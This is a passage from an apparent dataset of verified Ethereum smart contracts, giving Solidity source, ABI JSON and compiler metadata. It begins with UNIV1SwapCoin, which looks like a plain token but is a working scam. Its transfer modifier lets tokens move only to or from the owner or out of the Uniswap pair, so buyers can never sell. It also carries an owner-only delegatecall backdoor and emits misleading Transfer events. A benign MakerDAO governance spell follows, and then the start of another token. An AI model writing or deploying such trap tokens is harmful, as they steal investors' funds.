return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UNIV1SwapCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000152d02c7e14af6800000000000000000000000000000000000000000000000000000000000000000000d554e49563153776170436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005554e495631000000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://eda44122ac369405822f3e7dcf529ceab040fd63189382b08a6fbab4b0fc9d04 |
||
DssSpell | DssSpell.sol | 0x969b3701a17391f2906d8c5e5d816abcd9d0f199 | Solidity | // hevm: flattened sources of src/DssSpell.sol
pragma solidity =0.6.11 >=0.6.11 <0.7.0;
////// lib/dss-exec-lib/src/CollateralOpts.sol
/* pragma solidity ^0.6.11; */
struct CollateralOpts {
bytes32 ilk;
address gem;
address join;
address flip;
address pip;
bool isLiquidatable;
bool isOSM;
bool whitelistOSM;
uint256 ilkDebtCeiling;
uint256 minVaultAmount;
uint256 maxLiquidationAmount;
uint256 liquidationPenalty;
uint256 ilkStabilityFee;
uint256 bidIncrease;
uint256 bidDuration;
uint256 auctionDuration;
uint256 liquidationRatio;
}
////// lib/dss-exec-lib/src/DssExecLib.sol
//
// DssExecLib.sol -- MakerDAO Executive Spellcrafting Library
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity ^0.6.11; */
interface Initializable {
function init(bytes32) external;
}
interface Authorizable {
function rely(address) external;
function deny(address) external;
}
interface Fileable_1 {
function file(bytes32, address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, bytes32, address) external;
}
interface Drippable {
function drip() external returns (uint256);
function drip(bytes32) external returns (uint256);
}
interface Pricing {
function poke(bytes32) external;
}
interface ERC20 {
function decimals() external returns (uint8);
}
interface DssVat {
function hope(address) external;
function nope(address) external;
function ilks(bytes32) external returns (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust);
function Line() external view returns (uint256);
function suck(address, address, uint) external;
}
interface AuctionLike {
function vat() external returns (address);
function cat() external returns (address); // Only flip
function beg() external returns (uint256);
function pad() external returns (uint256); // Only flop
function ttl() external returns (uint256);
function tau() external returns (uint256);
function ilk() external returns (bytes32); // Only flip
function gem() external returns (bytes32); // Only flap/flop
}
interface JoinLike {
function vat() external returns (address);
function ilk() external returns (bytes32);
function gem() external returns (address);
function dec() external returns (uint256);
function join(address, uint) external;
function exit(address, uint) external;
}
// Includes Median and OSM functions
interface OracleLike_2 {
function src() external view returns (address);
function lift(address[] calldata) external;
function drop(address[] calldata) external;
function setBar(uint256) external;
function kiss(address) external;
function diss(address) external;
function kiss(address[] calldata) external;
function diss(address[] calldata) external;
}
interface MomLike {
function setOsm(bytes32, address) external;
}
interface RegistryLike {
function add(address) external;
function info(bytes32) external view returns (
string memory, string memory, uint256, address, address, address, address
);
function ilkData(bytes32) external view returns (
uint256 pos,
address gem,
address pip,
address join,
address flip,
uint256 dec,
string memory name,
string memory symbol
);
}
// https://github.com/makerdao/dss-chain-log
interface ChainlogLike {
function setVersion(string calldata) external;
function setIPFS(string calldata) external;
function setSha256sum(string calldata) external;
function getAddress(bytes32) external view returns (address);
function setAddress(bytes32, address) external;
function removeAddress(bytes32) external;
}
interface IAMLike {
function ilks(bytes32) external view returns (uint256,uint256,uint48,uint48,uint48);
function setIlk(bytes32,uint256,uint256,uint256) external;
function remIlk(bytes32) external;
function exec(bytes32) external returns (uint256);
}
library DssExecLib {
// Function stubs - check the actual library address for implementations
function dai() public view returns (address) {}
function mkr() public view returns (address) {}
function vat() public view returns (address) {}
function cat() public view returns (address) {}
function jug() public view returns (address) {}
function pot() public view returns (address) {}
function vow() public view returns (address) {}
function end() public view returns (address) {}
function reg() public view returns (address) {}
function spotter() public view returns (address) {}
function flap() public view returns (address) {}
function flop() public view returns (address) {}
function osmMom() public view returns (address) {}
function govGuard() public view returns (address) {}
function flipperMom() public view returns (address) {}
function pauseProxy() public view returns (address) {}
function autoLine() public view returns (address) {}
function daiJoin() public view returns (address) {}
function flip(bytes32 ilk) public view returns (address _flip) {
}
function getChangelogAddress(bytes32 key) public view returns (address) {
}
function setChangelogAddress(bytes32 _key, address _val) public {
}
function setChangelogVersion(string memory _version) public {
}
function setChangelogIPFS(string memory _ipfsHash) public {
}
function setChangelogSHA256(string memory _SHA256Sum) public {
}
function authorize(address _base, address _ward) public {
}
function deauthorize(address _base, address _ward) public {
}
function delegateVat(address _usr) public {
}
function undelegateVat(address _usr) public {
}
function accumulateDSR() public {
}
function accumulateCollateralStabilityFees(bytes32 _ilk) public {
}
function updateCollateralPrice(bytes32 _ilk) public {
}
function setContract(address _base, bytes32 _what, address _addr) public {
}
function setContract(address _base, bytes32 _ilk, bytes32 _what, address _addr) public {
}
function setGlobalDebtCeiling(uint256 _amount) public {
}
function increaseGlobalDebtCeiling(uint256 _amount) public {
}
function decreaseGlobalDebtCeiling(uint256 _amount) public {
}
function setDSR(uint256 _rate) public {
}
function setSurplusAuctionAmount(uint256 _amount) public {
}
function setSurplusBuffer(uint256 _amount) public {
}
function setMinSurplusAuctionBidIncrease(uint256 _pct_bps) public {
}
function setSurplusAuctionBidDuration(uint256 _duration) public {
}
function setSurplusAuctionDuration(uint256 _duration) public {
}
function setDebtAuctionDelay(uint256 _duration) public {
}
function setDebtAuctionDAIAmount(uint256 _amount) public {
}
function setDebtAuctionMKRAmount(uint256 _amount) public {
}
function setMinDebtAuctionBidIncrease(uint256 _pct_bps) public {
}
function setDebtAuctionBidDuration(uint256 _duration) public {
}
function setDebtAuctionDuration(uint256 _duration) public {
}
function setDebtAuctionMKRIncreaseRate(uint256 _pct_bps) public {
}
function setMaxTotalDAILiquidationAmount(uint256 _amount) public {
}
function setEmergencyShutdownProcessingTime(uint256 _duration) public {
}
function setGlobalStabilityFee(uint256 _rate) public {
}
function setDAIReferenceValue(uint256 _value) public {
}
function setIlkDebtCeiling(bytes32 _ilk, uint256 _amount) public {
}
function increaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public {
}
function decreaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public {
}
function setIlkAutoLineParameters(bytes32 _ilk, uint256 _amount, uint256 _gap, uint256 _ttl) public {
}
function setIlkAutoLineDebtCeiling(bytes32 _ilk, uint256 _amount) public {
}
function removeIlkFromAutoLine(bytes32 _ilk) public {
}
function setIlkMinVaultAmount(bytes32 _ilk, uint256 _amount) public {
}
function setIlkLiquidationPenalty(bytes32 _ilk, uint256 _pct_bps) public {
}
function setIlkMaxLiquidationAmount(bytes32 _ilk, uint256 _amount) public {
}
function setIlkLiquidationRatio(bytes32 _ilk, uint256 _pct_bps) public {
}
function setIlkMinAuctionBidIncrease(bytes32 _ilk, uint256 _pct_bps) public {
}
function setIlkBidDuration(bytes32 _ilk, uint256 _duration) public {
}
function setIlkAuctionDuration(bytes32 _ilk, uint256 _duration) public {
}
function setIlkStabilityFee(bytes32 _ilk, uint256 _rate, bool _doDrip) public {
}
function addWritersToMedianWhitelist(address _median, address[] memory _feeds) public {
OracleLike_2(_median).lift(_feeds);
}
function removeWritersFromMedianWhitelist(address _median, address[] memory _feeds) public {
OracleLike_2(_median).drop(_feeds);
}
function addReadersToMedianWhitelist(address _median, address[] memory _readers) public {
OracleLike_2(_median).kiss(_readers);
}
function addReaderToMedianWhitelist(address _median, address _reader) public {
OracleLike_2(_median).kiss(_reader);
}
function removeReadersFromMedianWhitelist(address _median, address[] memory _readers) public {
}
function removeReaderFromMedianWhitelist(address _median, address _reader) public {
}
function setMedianWritersQuorum(address _median, uint256 _minQuorum) public {
}
function addReaderToOSMWhitelist(address _osm, address _reader) public {
}
function removeReaderFromOSMWhitelist(address _osm, address _reader) public {
}
function allowOSMFreeze(address _osm, bytes32 _ilk) public {
}
function addCollateralBase(
bytes32 _ilk,
address _gem,
address _join,
address _flip,
address _pip
) public {
}
function sendPaymentFromSurplusBuffer(address _target, uint256 _amount) public {
}
}
////// lib/dss-exec-lib/src/DssAction.sol
//
// DssAction.sol -- DSS Executive Spell Actions
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity ^0.6.11; */
/* import "./CollateralOpts.sol"; */
/* import { DssExecLib } from "./DssExecLib.sol"; */
interface OracleLike_1 {
function src() external view returns (address);
}
abstract contract DssAction {
using DssExecLib for *;
// Office Hours defaults to true by default.
// To disable office hours, override this function and
// return false in the inherited action.
function officeHours() public virtual returns (bool) {
return true;
}
// DssExec calls execute. We limit this function subject to officeHours modifier.
function execute() external limited {
actions();
}
// DssAction developer must override `actions()` and place all actions to be called inside.
// The DssExec function will call this subject to the officeHours limiter
// By keeping this function public we allow simulations of `execute()` on the actions outside of the cast time.
function actions() public virtual;
// Modifier required to
modifier limited {
if (officeHours()) {
uint day = (block.timestamp / 1 days + 3) % 7;
require(day < 5, "Can only be cast on a weekday");
uint hour = block.timestamp / 1 hours % 24;
require(hour >= 14 && hour < 21, "Outside office hours");
}
_;
}
/*****************************/
/*** Collateral Onboarding ***/
/*****************************/
// Complete collateral onboarding logic.
function addNewCollateral(CollateralOpts memory co) internal {
// Add the collateral to the system.
DssExecLib.addCollateralBase(co.ilk, co.gem, co.join, co.flip, co.pip);
// Allow FlipperMom to access to the ilk Flipper
address _flipperMom = DssExecLib.flipperMom();
DssExecLib.authorize(co.flip, _flipperMom);
// Disallow Cat to kick auctions in ilk Flipper
if(!co.isLiquidatable) { DssExecLib.deauthorize(_flipperMom, co.flip); }
if(co.isOSM) { // If pip == OSM
// Allow OsmMom to access to the TOKEN OSM
DssExecLib.authorize(co.pip, DssExecLib.osmMom());
if (co.whitelistOSM) { // If median is src in OSM
// Whitelist OSM to read the Median data (only necessary if it is the first time the token is being added to an ilk)
DssExecLib.addReaderToMedianWhitelist(address(OracleLike_1(co.pip).src()), co.pip);
}
// Whitelist Spotter to read the OSM data (only necessary if it is the first time the token is being added to an ilk)
DssExecLib.addReaderToOSMWhitelist(co.pip, DssExecLib.spotter());
// Whitelist End to read the OSM data (only necessary if it is the first time the token is being added to an ilk)
DssExecLib.addReaderToOSMWhitelist(co.pip, DssExecLib.end());
// Set TOKEN OSM in the OsmMom for new ilk
DssExecLib.allowOSMFreeze(co.pip, co.ilk);
}
// Increase the global debt ceiling by the ilk ceiling
DssExecLib.increaseGlobalDebtCeiling(co.ilkDebtCeiling);
// Set the ilk debt ceiling
DssExecLib.setIlkDebtCeiling(co.ilk, co.ilkDebtCeiling);
// Set the ilk dust
DssExecLib.setIlkMinVaultAmount(co.ilk, co.minVaultAmount);
// Set the dunk size
DssExecLib.setIlkMaxLiquidationAmount(co.ilk, co.maxLiquidationAmount);
// Set the ilk liquidation penalty
DssExecLib.setIlkLiquidationPenalty(co.ilk, co.liquidationPenalty);
// Set the ilk stability fee
DssExecLib.setIlkStabilityFee(co.ilk, co.ilkStabilityFee, true);
// Set the ilk percentage between bids
DssExecLib.setIlkMinAuctionBidIncrease(co.ilk, co.bidIncrease);
// Set the ilk time max time between bids
DssExecLib.setIlkBidDuration(co.ilk, co.bidDuration);
// Set the ilk max auction duration
DssExecLib.setIlkAuctionDuration(co.ilk, co.auctionDuration);
// Set the ilk min collateralization ratio
DssExecLib.setIlkLiquidationRatio(co.ilk, co.liquidationRatio);
// Update ilk spot value in Vat
DssExecLib.updateCollateralPrice(co.ilk);
}
}
////// lib/dss-exec-lib/src/DssExec.sol
//
// DssExec.sol -- MakerDAO Executive Spell Template
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity ^0.6.11; */
interface PauseAbstract {
function delay() external view returns (uint256);
function plot(address, bytes32, bytes calldata, uint256) external;
function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory);
}
interface Changelog {
function getAddress(bytes32) external view returns (address);
}
interface SpellAction {
function officeHours() external view returns (bool);
}
contract DssExec {
Changelog constant public log = Changelog(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F);
uint256 public eta;
bytes public sig;
bool public done;
bytes32 immutable public tag;
address immutable public action;
uint256 immutable public expiration;
PauseAbstract immutable public pause;
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)"
string public description;
function officeHours() external view returns (bool) {
return SpellAction(action).officeHours();
}
function nextCastTime() external view returns (uint256 castTime) {
require(eta != 0, "DssExec/spell-not-scheduled");
castTime = block.timestamp > eta ? block.timestamp : eta; // Any day at XX:YY
if (SpellAction(action).officeHours()) {
uint256 day = (castTime / 1 days + 3) % 7;
uint256 hour = castTime / 1 hours % 24;
uint256 minute = castTime / 1 minutes % 60;
uint256 second = castTime % 60;
if (day >= 5) {
castTime += (6 - day) * 1 days; // Go to Sunday XX:YY
castTime += (24 - hour + 14) * 1 hours; // Go to 14:YY UTC Monday
castTime -= minute * 1 minutes + second; // Go to 14:00 UTC
} else {
if (hour >= 21) {
if (day == 4) castTime += 2 days; // If Friday, fast forward to Sunday XX:YY
castTime += (24 - hour + 14) * 1 hours; // Go to 14:YY UTC next day
castTime -= minute * 1 minutes + second; // Go to 14:00 UTC
} else if (hour < 14) {
castTime += (14 - hour) * 1 hours; // Go to 14:YY UTC same day
castTime -= minute * 1 minutes + second; // Go to 14:00 UTC
}
}
}
}
// @param _description A string description of the spell
// @param _expiration The timestamp this spell will expire. (Ex. now + 30 days)
// @param _spellAction The address of the spell action
constructor(string memory _description, uint256 _expiration, address _spellAction) public {
pause = PauseAbstract(log.getAddress("MCD_PAUSE"));
description = _description;
expiration = _expiration;
action = _spellAction;
sig = abi.encodeWithSignature("execute()");
bytes32 _tag; // Required for assembly access
address _action = _spellAction; // Required for assembly access
assembly { _tag := extcodehash(_action) }
tag = _tag;
}
function schedule() public {
require(now <= expiration, "This contract has expired");
require(eta == 0, "This spell has already been scheduled");
eta = now + PauseAbstract(pause).delay();
pause.plot(action, tag, sig, eta);
}
function cast() public {
require(!done, "spell-already-cast");
done = true;
pause.exec(action, tag, sig, eta);
}
}
////// src/DssSpell.sol
// SPDX-License-Identifier: GPL-3.0-or-later
// Copyright (C) 2021 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity 0.6.11; */
/* import "dss-exec-lib/DssExec.sol"; */
/* import "dss-exec-lib/DssAction.sol"; */
interface ChainlogAbstract_2 {
function removeAddress(bytes32) external;
}
interface LPOracle {
function orb0() external view returns (address);
function orb1() external view returns (address);
}
interface Fileable_2 {
function file(bytes32,uint256) external;
}
contract DssSpellAction is DssAction {
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/46cbe46a16b7836d6b219201e3a07d40b01a7db4/governance/votes/Community%20Executive%20vote%20-%20February%2026%2C%202021.md -q -O - 2>/dev/null)"
string public constant description =
"2021-02-26 MakerDAO Executive Spell | Hash: 0x4c91fafa587264790d3ad6498caf9c0070a810237c46bb7f3b2556e043ba7b23";
// Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 8%):
//
// $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )'
//
// A table of rates can be found at
// https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW
//
uint256 constant FOUR_PCT = 1000000001243680656318820312;
uint256 constant FIVE_PT_FIVE_PCT = 1000000001697766583380253701;
uint256 constant NINE_PCT = 1000000002732676825177582095;
uint256 constant WAD = 10**18;
uint256 constant RAD = 10**45;
uint256 constant MILLION = 10**6;
address constant UNIV2DAIUSDT_GEM = 0xB20bd5D04BE54f870D5C0d3cA85d82b34B836405;
address constant UNIV2DAIUSDT_JOIN = 0xAf034D882169328CAf43b823a4083dABC7EEE0F4;
address constant UNIV2DAIUSDT_FLIP = 0xD32f8B8aDbE331eC0CfADa9cfDbc537619622cFe;
address constant UNIV2DAIUSDT_PIP = 0x69562A7812830E6854Ffc50b992c2AA861D5C2d3;
function actions() public override {
// Rates Proposal - February 22, 2021
DssExecLib.setIlkStabilityFee("ETH-A", FIVE_PT_FIVE_PCT, true);
DssExecLib.setIlkStabilityFee("ETH-B", NINE_PCT, true);
// Onboard UNIV2DAIUSDT-A
DssExecLib.addReaderToMedianWhitelist(
LPOracle(UNIV2DAIUSDT_PIP).orb1(),
UNIV2DAIUSDT_PIP
);
CollateralOpts memory UNIV2DAIUSDT_A = CollateralOpts({
ilk: "UNIV2DAIUSDT-A",
gem: UNIV2DAIUSDT_GEM,
join: UNIV2DAIUSDT_JOIN,
flip: UNIV2DAIUSDT_FLIP,
pip: UNIV2DAIUSDT_PIP,
isLiquidatable: true,
isOSM: true,
whitelistOSM: false,
ilkDebtCeiling: 3 * MILLION,
minVaultAmount: 2000,
maxLiquidationAmount: 50000,
liquidationPenalty: 1300,
ilkStabilityFee: FOUR_PCT,
bidIncrease: 300,
bidDuration: 6 hours,
auctionDuration: 6 hours,
liquidationRatio: 12500
});
addNewCollateral(UNIV2DAIUSDT_A);
DssExecLib.setChangelogAddress("UNIV2DAIUSDT", UNIV2DAIUSDT_GEM);
DssExecLib.setChangelogAddress("MCD_JOIN_UNIV2DAIUSDT_A", UNIV2DAIUSDT_JOIN);
DssExecLib.setChangelogAddress("MCD_FLIP_UNIV2DAIUSDT_A", UNIV2DAIUSDT_FLIP);
DssExecLib.setChangelogAddress("PIP_UNIV2DAIUSDT", UNIV2DAIUSDT_PIP);
// Lower PSM-USDC-A Toll Out
Fileable_2(DssExecLib.getChangelogAddress("MCD_PSM_USDC_A")).file("tout", 4 * WAD / 10000);
// bump Changelog version
DssExecLib.setChangelogVersion("1.2.8");
}
}
contract DssSpell is DssExec {
DssSpellAction internal action_ = new DssSpellAction();
constructor() DssExec(action_.description(), block.timestamp + 30 days, address(action_)) public {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"action","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cast","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"description","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"done","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"eta","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"expiration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"log","outputs":[{"internalType":"contract Changelog","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextCastTime","outputs":[{"internalType":"uint256","name":"castTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"officeHours","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[{"internalType":"contract PauseAbstract","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"schedule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sig","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tag","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"}] | v0.6.11+commit.5ef660b1 | true | 1 | Default | DssExecLib:9a6c490ba30507e732d61235eff94c26aea234ef | GNU GPLv3 | false | ipfs://707c41133d3a84c05c56de8d94c55f35581e1b67f03f54ba4d9551b7cbef9edd |
||
FiduciaToken | FiduciaToken.sol | 0xa3bac15614d4e0e3b3a746b4591cbb2c26907cac | Solidity | pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
